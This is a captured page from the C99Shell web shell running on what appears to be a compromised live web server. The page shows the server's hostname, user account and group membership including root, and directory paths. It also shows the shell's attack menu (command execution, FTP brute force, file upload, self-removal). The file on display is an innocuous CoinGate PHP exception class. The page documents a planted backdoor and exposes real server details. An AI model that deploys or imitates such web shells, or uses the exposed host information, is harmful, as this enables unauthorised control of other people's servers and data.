!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/coingate/coingate-php/lib/Exception/   drwxr-xr-x
Free 23.59 GB of 117.98 GB (19.99%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ApiErrorException.php (2.35 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace CoinGate\Exception;

use 
Exception;
use 
Throwable;

class 
ApiErrorException extends Exception
{
    
/**
     * @var string|null
     */
    
protected $reason;

    
/**
     * @var string[]
     */
    
protected $errors = [];

    
/**
     * @var int|null
     */
    
protected $httpStatus;

    
/**
     * protected constructor
     *
     * @param string         $message
     * @param int            $code
     * @param Throwable|null $previous
     */
    
final protected function __construct($message ""$code 0Throwable $previous null)
    {
        
parent::__construct($message$code$previous);
    }

    
/**
     * Creates a new API error exception.
     *
     * @param mixed $response
     * @param int   $httpStatus
     *
     * @return static
     */
    
public static function factory($responseint $httpStatus): ApiErrorException
    
{
        
$instance = new static($response['message'] ?? null);
        
$instance
            
->setReason($response['reason'] ?? null)
            ->
setErrorDetails($response['errors'] ?? [])
            ->
setHttpStatus($httpStatus);

        return 
$instance;
    }

    
/**
     * Gets reason for the error.
     *
     * @return null|string
     */
    
public function getReason(): ?string
    
{
        return 
$this->reason;
    }

    
/**
     * Sets reason for the error.
     *
     * @param string|null $reason
     * @return self
     */
    
public function setReason(?string $reason): self
    
{
        
$this->reason $reason;

        return 
$this;
    }

    
/**
     * Gets additional error details (if available).
     *
     * @return string[]
     */
    
public function getErrorDetails(): array
    {
        return 
$this->errors;
    }

    
/**
     * Sets additional error details.
     *
     * @param  string[] $errors
     * @return self
     */
    
public function setErrorDetails(array $errors = []): self
    
{
        
$this->errors $errors;

        return 
$this;
    }

    
/**
     * Gets the HTTP status code.
     *
     * @return null|int
     */
    
public function getHttpStatus(): ?int
    
{
        return 
$this->httpStatus;
    }

    
/**
     * Sets the HTTP status code.
     *
     * @param  int|null $httpStatus
     * @return self
     */
    
public function setHttpStatus(?int $httpStatus null): self
    
{
        
$this->httpStatus $httpStatus;

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--